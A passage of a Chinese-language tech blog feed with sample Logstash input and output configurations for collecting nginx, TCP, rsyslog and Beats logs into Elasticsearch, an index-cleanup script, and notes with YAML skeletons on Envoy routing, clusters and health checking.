title="nginx日志"></a>nginx日志</h4><p>需要该日志格式将nginx输出日志设置为json格式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">input { file { path => "/var/log/nginx/access.log" start_position => "end" type => "nginx-access" codec => json }}output { if [type] == "nginx-access" { elasticsearch { hosts => ["192.168.64.133:9200"] index => "logstash-nginx-accesslog-%{+YYYY.MM.dd}" } }}</span><br></pre></td></tr></table></figure><h4 id="tcp日志"><a href="#tcp日志" class="headerlink" title="tcp日志"></a>tcp日志</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">input { tcp { port => 9889 type => "tcplog" mode => "server" }}output { elasticsearch { hosts => ["192.168.64.133:9200"] index => "logstash-tcplog-%{+YYYY.MM.dd}" }}# 测试echo "伪设备" > /dev/tcp/192.168.64.133:9889</span><br></pre></td></tr></table></figure><h4 id="rsyslog日志收集"><a href="#rsyslog日志收集" class="headerlink" title="rsyslog日志收集"></a>rsyslog日志收集</h4><p>网络设备无法安装日志收集客户端，以下用haproxy的日志来进行收集</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"># 配置haproxy日志local6.* /var/log/haproxy.loglocal6.* @@192.168.64.133:514 # @@表示使用tcp协议将日志转发到一个ip:port 而@表示udp协议转发# 配置rsyslogmodule(load="imtcp")input(type="imtcp" port="514")module(load="imudp")input(type="imudp" port="514")</span><br></pre></td></tr></table></figure><p>logstash配置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">input { syslog { type => "system-rsyslog" port => "514" # 普通用户无法监听该端口，修改logstash.service 进行监听 }}output { if [type] == "system-rsyslog" { elasticsearch { hosts => ["192.168.64.133:9200"] index => "logstash-rsyslog-%{+YYYY.MM.dd}" } }}</span><br></pre></td></tr></table></figure><h4 id="Beats"><a href="#Beats" class="headerlink" title="Beats"></a>Beats</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">input { beats { port => 5044 # 监听5044端口 codec => "json" } beats { port => 5045 # 监听5045端口 codec => "json" }}output { # 标准输出测试 stdout { codec => "rubydebug" } # 这里是fielbeat的fileds字段定义的标签 # 写入redis if [fields][type] == "nginx-error" { redis { host => "192.168.64.133" port => "6379" db => 1 password => "12345" data_type => "list" key => "nginx-error" } }}</span><br></pre></td></tr></table></figure><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><h4 id="es索引清理脚本"><a href="#es索引清理脚本" class="headerlink" title="es索引清理脚本"></a>es索引清理脚本</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">/bin/bash<span class="comment">#指定日期(3个月前)DATA=`date -d "3 month ago" +%Y.%m.%d`#当前日期time=`date`#删除3个月前的日志curl -XDELETE http://127.0.0.1:9200/*-${DATA}if [ $? -eq 0 ];then echo $time"-->del $DATA log success.." >> /data/elk/logs/es-index-clear.logelse echo $time"-->del $DATA log fail.." >> /tmp/es-index-clear.logfi</span></span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><p>ELK是ElasticSearch、Logstash、kibana的组合。logstash部署在要收集日志的主机上，作为一个logagent，它将数据收集、处理、输出到es中，然后我们通过kibana可以将es的数据显示出来。</p>
</summary>
<category term="Linux" scheme="http://yoursite.com/categories/Linux/"/>
<category term="日志" scheme="http://yoursite.com/tags/%E6%97%A5%E5%BF%97/"/>
<category term="ES" scheme="http://yoursite.com/tags/ES/"/>
</entry>
<entry>
<title>Envoy-4-流量管理</title>
<link href="http://yoursite.com/2021/06/08/Envoy-4-%E6%B5%81%E9%87%8F%E7%AE%A1%E7%90%86/"/>
<id>http://yoursite.com/2021/06/08/Envoy-4-%E6%B5%81%E9%87%8F%E7%AE%A1%E7%90%86/</id>
<published>2021-06-08T14:39:47.000Z</published>
<updated>2021-06-08T14:42:27.990Z</updated>
<content type="html"><![CDATA[<h3 id="流量处理过程"><a href="#流量处理过程" class="headerlink" title="流量处理过程"></a>流量处理过程</h3><p><img src="/2021/06/08/Envoy-4-%E6%B5%81%E9%87%8F%E7%AE%A1%E7%90%86/%E6%B5%81%E5%85%A5%E8%BF%87%E7%A8%8B.png" alt="流入过程"></p><h3 id="连接管理"><a href="#连接管理" class="headerlink" title="连接管理"></a>连接管理</h3><p>Envoy通过内置的L4过滤器HTTP连接管理器将原始字节转换为HTTP应用层协议级别的消息和事件，例如接收到的标头和主体等，以及处理所有HTTP连接和请求共有的功能，包括访问日志、生成和跟踪请求ID， 请求/响应头处理、路由表管理和统计信息等；</p><a id="more"></a><ul><li>支持HTTP/1.1、WebSockets和HTTP/2，但不支持SPDY</li><li>关联的路由表可静态配置，亦可经由xDS API中的RDS动态生成；</li><li>内建重试插件，可用于配置重试行为（Host Predicates、Priority Predicates）</li><li>内建支持302重定向，它可以捕获302重定向响应，合成新请求后将其发送到新的路由匹配(match)所指定的上游端点，并将收到的响应作为对原始请求的响应返回客户端</li><li>支持适用于HTTP连接及其组成流（constituent streams）的多种可配置超时机制<ul><li>连接级别：空闲超时和排空超时（GOAWAY）；</li><li>流级别：空闲超时、每路由相关的上游端点超时和每路由相关的gRPC最大超时时长；</li></ul></li></ul><h3 id="高级路由"><a href="#高级路由" class="headerlink" title="高级路由"></a>高级路由</h3><p>HTTP协议相关的功能通过各HTTP过滤器实现，这些过滤器大体可分为编码器、解码器和编/解码器三类，其中router （envoy.router）是最常的过滤器之一，它基于路由表完成请求的转发或重定向，以及处理重试操作和生成统计信息等。</p><p>Envoy基于HTTP router过滤器基于路由表完成多种高级路由机制，例如</p><ul><li>将域名映射到虚拟主机；</li><li>path的前缀(prefix)匹配、精确匹配或正则表达式匹配；</li><li>虚拟主机级别的TLS重定向；</li><li>path级别的path/host重定向；</li><li>由Envoy直接生成响应报文；</li><li>显式host rewrite；</li><li>prefix rewrite；</li><li>基于HTTP标头或路由配置的请求重试与请求超时；</li><li>基于运行时参数的流量迁移；</li><li>基于权重或百分比的跨集群流量分割；</li><li>基于任意标头匹配路由规则；</li><li>基于优先级的路由；</li><li>基于hash策略的路由</li></ul><h3 id="虚拟主机"><a href="#虚拟主机" class="headerlink" title="虚拟主机"></a>虚拟主机</h3><p>路由配置中的顶级元素是虚拟主机，每个虚拟主机都有一个逻辑名称以及一组域名，请求报文中的主机头将根据此处的域名进行路由；单个侦听器可以服务于多个顶级域。基于域名选择虚拟主机后，将基于配置的路由机制完成请求路由或进行重定向；</p><h4 id="工作流程"><a href="#工作流程" class="headerlink" title="工作流程"></a>工作流程</h4><p>Envoy匹配Http路由时，它基于如下工作过程进行</p><ul><li>检测HTTP请求的host标头或:authority，并将其同路由配置中定义的虚拟主机作匹配检查；</li><li>在匹配到的虚拟主机配置中按顺序检查虚拟主机中的每个路由条目中的匹配条件，直到第一个匹配的为止（短路）；</li><li>如果定义了虚拟集群，按顺序检查虚拟主机中的每个虚拟集群，直到第一个匹配的为止；</li></ul><p><img src="/2021/06/08/Envoy-4-%E6%B5%81%E9%87%8F%E7%AE%A1%E7%90%86/%E8%99%9A%E6%8B%9F%E4%B8%BB%E6%9C%BA.png" alt="虚拟主机"></p><h4 id="域名匹配顺序"><a href="#域名匹配顺序" class="headerlink" title="域名匹配顺序"></a>域名匹配顺序</h4><p>将请求报文中的host标头值依次与路由表中定义的各Virtualhost的domain属性值进行比较 ，并于第一次匹配时终止搜索；</p><p>精确匹配 > 前缀匹配 > 后缀匹配 > *</p><h4 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 虚拟主机级别可配置信息</span></span><br><span class="line"><span class="string">{</span></span><br><span class="line"><span class="attr">"name":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"domains":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"routes":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"require_tls":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"virtual_clusters":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"rate_limits":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"request_headers_to_add":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"request_headers_to_remove":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"response_headers_to_add":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"response_headers_to_remove":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"cors":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"per_filter_config":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"typed_per_filter_config":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"include_request_attempt_count":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"retry_policy":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"hedge_policy":</span> <span class="string">"{...}"</span></span><br><span class="line"><span class="string">}</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置示例</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">listeners:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> </span><br><span class="line"> <span class="attr">address:</span> <span class="string">{...}</span></span><br><span class="line"> <span class="attr">filter_chians:</span> <span class="string">[]</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">filters:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">envoy.http_connection_manager</span> </span><br><span class="line"> <span class="attr">config:</span> </span><br><span class="line"> <span class="string">...</span> </span><br><span class="line"> <span class="attr">route_config:</span> </span><br><span class="line"> <span class="attr">name:</span> <span class="string">...</span> </span><br><span class="line"> <span class="attr">virutal_hosts:</span> <span class="string">[]</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">...</span> </span><br><span class="line"> <span class="attr">domains:</span> <span class="string">[]</span> <span class="comment"># 虚拟主机的域名，路由匹配时将请求报文中的host标头值与此处列表项进行匹配检测；</span></span><br><span class="line"><span class="attr">routes:</span> <span class="string">[]</span> <span class="comment"># 路由条目，匹配到当前虚拟主机的请求中的path匹配检测将针对各route中由match定义条件进行；</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">...</span> </span><br><span class="line"> <span class="attr">match:</span> <span class="string">{...}</span></span><br><span class="line"> <span class="string">prefix|path|regex:</span> <span class="string">...</span> <span class="comment"># 基于路径前缀、路径或正则表达式三者之一定义匹配条件；</span></span><br><span class="line"><span class="attr">route:</span> <span class="string">{...}</span></span><br><span class="line"> <span class="string">cluster|cluster_header|weighted_cluster:</span> <span class="string">...</span> <span class="comment"># 基于集群、请求报文中的集群标头或加权集群（流量分割）定义路由目标；</span></span><br><span class="line"> <span class="attr">virtual_clusters:</span> <span class="string">[]</span> <span class="comment"># 为此虚拟主机定义的用于收集统计信息的虚拟集群列表；</span></span><br><span class="line"> <span class="string">...</span></span><br><span class="line"><span class="string">...</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="流量处理过程"><a href="#流量处理过程" class="headerlink" title="流量处理过程"></a>流量处理过程</h3><p><img src="/2021/06/08/Envoy-4-%E6%B5%81%E9%87%8F%E7%AE%A1%E7%90%86/%E6%B5%81%E5%85%A5%E8%BF%87%E7%A8%8B.png" alt="流入过程"></p>
<h3 id="连接管理"><a href="#连接管理" class="headerlink" title="连接管理"></a>连接管理</h3><p>Envoy通过内置的L4过滤器HTTP连接管理器将原始字节转换为HTTP应用层协议级别的消息和事件，例如接收到的标头和主体等，以及处理所有HTTP连接和请求共有的功能，包括访问日志、生成和跟踪请求ID， 请求/响应头处理、路由表管理和统计信息等；</p>
</summary>
<category term="微服务" scheme="http://yoursite.com/categories/%E5%BE%AE%E6%9C%8D%E5%8A%A1/"/>
<category term="Envoy" scheme="http://yoursite.com/tags/Envoy/"/>
</entry>
<entry>
<title>Envoy-3-cluster</title>
<link href="http://yoursite.com/2021/06/08/Envoy-3-cluster/"/>
<id>http://yoursite.com/2021/06/08/Envoy-3-cluster/</id>
<published>2021-06-08T14:37:02.000Z</published>
<updated>2021-06-08T14:42:00.353Z</updated>
<content type="html"><![CDATA[<h3 id="集群管理器"><a href="#集群管理器" class="headerlink" title="集群管理器"></a>集群管理器</h3><p>Envoy支持同时配置任意数量的上游集群，并基于集群管理器（Cluster Manager）管理它们；Cluster Manager负责为集群管理上游主机的健康状态、负载均衡机制、连接类型及适用协议等，生成集群配置的方式由静态或动态（CDS）两种；</p><a id="more"></a><h3 id="服务发现"><a href="#服务发现" class="headerlink" title="服务发现"></a>服务发现</h3><p>集群中的每个成员由endpoint进行标识，它可由用户静态配置，也可通过EDS或DNS服务动态发现</p><ul><li><p>Static：静态配置，即显式指定每个上游主机的已解析名称（IP地址/端口或unix域套按字文件）； </p></li><li><p>Strict DNS：严格DNS，Envoy将持续和异步地解析指定的DNS目标，并将DNS结果中的返回的每个IP地址视为上游集群中可用成员；</p></li><li><p>Logical DNS：逻辑DNS，集群仅使用在需要启动新连接时返回的第一个IP地址，而非严格获取DNS查询的结果并假设它们构成整个上游集群；适用于必须通过DNS访问的大规模 Web服务集群；</p></li><li><p>Original destination：当传入连接通过iptables的REDIRECT或TPROXY target或使用代理协议重定向到Envoy时，可以使用原始目标集群；</p></li><li><p>Endpoint discovery service (EDS)：EDS是一种基于GRPC或REST-JSON API的xDS管理服务器获取集群成员的服务发现方式；</p></li><li><p>Custom cluster：Envoy还支持在集群配置上的cluster_type字段中指定使用自定义集群发现机制</p></li></ul><p>Envoy的服务发现结合主动健康状态检查机制来判定集群的健康状态</p><ul><li>健康与否的决策机制以完全分布式的方式进行，因此可以很好地应对网络分区</li><li>为集群启用主机健康状态检查机制后，Envoy基于如下方式判定是否路由请求到一个主机</li></ul><table><thead><tr><th>Discovery Status</th><th>Health Check OK</th><th>Health Check Failed</th></tr></thead><tbody><tr><td>Discovered</td><td>Route</td><td>Don’t Route</td></tr><tr><td>Absent</td><td>Route</td><td>Don’t Route / Delete</td></tr></tbody></table><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">{</span></span><br><span class="line"><span class="attr">"name":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"alt_stat_name":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"type":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"cluster_type":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"eds_cluster_config":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"connect_timeout":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"per_connection_buffer_limit_bytes":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"lb_policy":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"hosts":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"load_assignment":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"health_checks":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"max_requests_per_connection":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"circuit_breakers":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"tls_context":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"common_http_protocol_options":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"http_protocol_options":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"http2_protocol_options":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"extension_protocol_options":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"typed_extension_protocol_options":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"dns_refresh_rate":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"respect_dns_ttl":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"dns_lookup_family":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"dns_resolvers":</span> <span class="string">[],</span></span><br><span class="line"><span class="attr">"outlier_detection":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"cleanup_interval":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"upstream_bind_config":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"lb_subset_config":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"ring_hash_lb_config":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"original_dst_lb_config":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"least_request_lb_config":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"common_lb_config":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"transport_socket":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"metadata":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"protocol_selection":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"upstream_connection_options":</span> <span class="string">"{...}"</span><span class="string">,</span></span><br><span class="line"><span class="attr">"close_connections_on_host_health_failure":</span> <span class="string">"..."</span><span class="string">,</span></span><br><span class="line"><span class="attr">"drain_connections_on_host_removal":</span> <span class="string">"..."</span></span><br><span class="line"><span class="string">}</span></span><br></pre></td></tr></table></figure><h3 id="健康检测"><a href="#健康检测" class="headerlink" title="健康检测"></a>健康检测</h3><p>健康状态检测用于确保代理服务器不会将下游客户端的请求代理至工作异常的上游主机；主要支持两种类型的健康状态检测</p><ul><li>主动检测：Envoy周期性地发送探测报文至上游主机，并根据其响应判断其健康状态；<ul><li>HTTP：向上游主机发送HTTP请求报文</li><li>L3/L4：向上游主机发送L3/L4请求报文，基于响应的结果判定其健康状态，或仅通过连接状态进行判定</li><li>Redis：向上游的redis服务器发送Redis PING ；</li></ul></li><li>被动检测：Envoy通过异常检测（Outlier Detection）机制进行被动模式的健康状态检测；<ul><li>仅支持http router、tcp proxy和redis proxy三个过滤器</li><li>连续5XX：意指所有类型的错误，非http router过滤器生成的错误也会在内部映射为5xx错误代码；</li><li>连续网关故障：连续5XX的子集，单纯用于http的502、503或504错误，即网关故障；</li><li>连续的本地原因故障：Envoy无法连接到上游主机或与上游主机的通信被反复中断；</li><li>成功率：主机的聚合成功率数据阈值</li></ul></li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">...</span></span><br><span class="line"> <span class="string">...</span></span><br><span class="line"> <span class="attr">load_assignment:</span></span><br><span class="line"> <span class="attr">endpoints:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">lb_endpoints:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">endpoint:</span></span><br><span class="line"><span class="attr">health_check_config:</span></span><br><span class="line"> <span class="attr">port_value:</span> <span class="string">...</span> <span class="comment"># 自定义健康状态检测时使用的端口；</span></span><br><span class="line"> <span class="string">...</span></span><br><span class="line"><span class="string">...</span> </span><br><span class="line"><span class="attr">health_checks:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">timeout:</span> <span class="string">...</span> <span class="comment"># 超时时长</span></span><br><span class="line"> <span class="attr">interval:</span> <span class="string">...</span> <span class="comment"># 时间间隔</span></span><br><span class="line"> <span class="attr">initial_jitter:</span> <span class="string">...</span> <span class="comment"># 初始检测时间点散开量，以毫秒为单位；</span></span><br><span class="line"> <span class="attr">interval_jitter:</span> <span class="string">...</span> <span class="comment"># 间隔检测时间点散开量，以毫秒为单位；</span></span><br><span class="line"> <span class="attr">unhealthy_threshold:</span> <span class="string">...</span> <span class="comment"># 将主机标记为不健康状态的检测阈值，即至少多少次不健康的检测后才将其标记为不可用；</span></span><br><span class="line"> <span class="attr">healthy_threshold:</span> <span class="string">...</span> <span class="comment"># 将主机标记为健康状态的检测阈值，但初始检测成功一次即视主机为健康；</span></span><br><span class="line"> <span class="attr">http_health_check:</span> <span class="string">{...}</span> <span class="comment"># HTTP类型的检测；包括此种类型在内的以下四种检测类型必须设置一种；</span></span><br><span class="line"> <span class="attr">tcp_health_check:</span> <span class="string">{...}</span> <span class="comment"># TCP类型的检测；</span></span><br><span class="line"> <span class="attr">grpc_health_check:</span> <span class="string">{...}</span> <span class="comment"># GRPC专用的检测；</span></span><br><span class="line"> <span class="attr">custom_health_check:</span> <span class="string">{...}</span> <span class="comment"># 自定义检测；</span></span><br><span class="line"> <span class="attr">reuse_connection:</span> <span class="string">...</span> <span class="comment"># 布尔型值，是否在多次检测之间重用连接，默认值为true；</span></span><br><span class="line"> <span class="attr">no_traffic_interval:</span> <span class="string">...</span> <span class="comment"># 定义未曾调度任何流量至集群时其端点健康检测时间间隔，一旦其接收流量即转为正常的时间间隔；</span></span><br><span class="line"> <span class="attr">unhealthy_interval:</span> <span class="string">...</span> <span class="comment"># 标记为“unhealthy”状态的端点的健康检测时间间隔，一旦重新标记为“healthy”即转为正常时间间隔；</span></span><br><span class="line"> <span class="attr">unhealthy_edge_interval:</span> <span class="string">...</span> <span class="comment"># 端点刚被标记为“unhealthy”状态时的健康检测时间间隔，随后即转为同unhealthy_interval的定义；</span></span><br><span class="line"> <span class="attr">healthy_edge_interval:</span> <span class="string">...</span> <span class="comment"># 端点刚被标记为“healthy”状态时的健康检测时间间隔，随后即转为同interval的定义</span></span><br></pre></td></tr></table></figure><h4 id="TCP"><a href="#TCP" class="headerlink" title="TCP"></a>TCP</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">local_service</span></span><br><span class="line"> <span class="attr">connect_timeout:</span> <span class="number">0.</span><span class="string">25s</span></span><br><span class="line"> <span class="attr">lb_policy:</span> <span class="string">ROUND_ROBIN</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">EDS</span></span><br><span class="line"> <span class="attr">eds_cluster_config:</span></span><br><span class="line"><span class="attr">eds_config:</span></span><br><span class="line"> <span class="attr">api_config_source:</span></span><br><span class="line"><span class="attr">api_type:</span> <span class="string">GRPC</span></span><br><span class="line"><span class="attr">grpc_services:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">envoy_grpc:</span></span><br><span class="line"><span class="attr">cluster_name:</span> <span class="string">xds_cluster</span></span><br><span class="line"> <span class="attr">health_checks:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">timeout:</span> <span class="string">5s</span></span><br><span class="line"><span class="attr">interval:</span> <span class="string">10s</span></span><br><span class="line"><span class="attr">unhealthy_threshold:</span> <span class="number">2</span></span><br><span class="line"><span class="attr">healthy_threshold:</span> <span class="number">2</span></span><br><span class="line"><span class="attr">tcp_health_check:</span> <span class="string">{}</span> <span class="comment"># 空负载的tcp检测意味着仅通过连接状态判定其检测结果</span></span><br></pre></td></tr></table></figure><h4 id="HTTP"><a href="#HTTP" class="headerlink" title="HTTP"></a>HTTP</h4><p>http类型的检测可以自定义使用的path 、host和期望的响应码等，并能够在必要时修改（添加/删除）请求报文头</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">health_checks:</span> <span class="string">[]</span> </span><br><span class="line"><span class="bullet">-</span> <span class="string">...</span> </span><br><span class="line"> <span class="attr">http_health_check:</span> </span><br><span class="line"> <span class="attr">"host":</span> <span class="string">"..."</span> <span class="comment"># 检测时使用的主机标头，默认为空，此时使用集群名称；</span></span><br><span class="line"><span class="attr">"path":</span> <span class="string">"..."</span> <span class="comment"># 检测时使用的路径，例如/healthz；必选参数；</span></span><br><span class="line"><span class="attr">"service_name":</span> <span class="string">"..."</span> <span class="comment"># 用于验证检测目标集群的服务名称参数，可选；</span></span><br><span class="line"><span class="attr">"request_headers_to_add":</span> <span class="string">[]</span> <span class="comment"># 向检测报文添加的自定义标头列表；</span></span><br><span class="line"><span class="attr">"request_headers_to_remove":</span> <span class="string">[]</span> <span class="comment"># 从检测报文中移除的标头列表；</span></span><br><span class="line"><span class="attr">"use_http2":</span> <span class="string">"..."</span> <span class="comment"># 是否使用http2协议；</span></span><br><span class="line"><span class="attr">"expected_statuses":</span> <span class="string">[]</span> <span class="comment"># 期望的响应码列表</span></span><br></pre></td></tr></table></figure><h4 id="异常检测"><a href="#异常检测" class="headerlink" title="异常检测"></a>异常检测</h4><p>被动检测。</p><p>确定主机异常 -> 若尚未驱逐主机，且已驱逐的数量低于允许的阈值，则已经驱逐主机 -> 主机处于驱逐状态一定时长 -> 超出时长后自动恢复服务</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters:</span> </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span 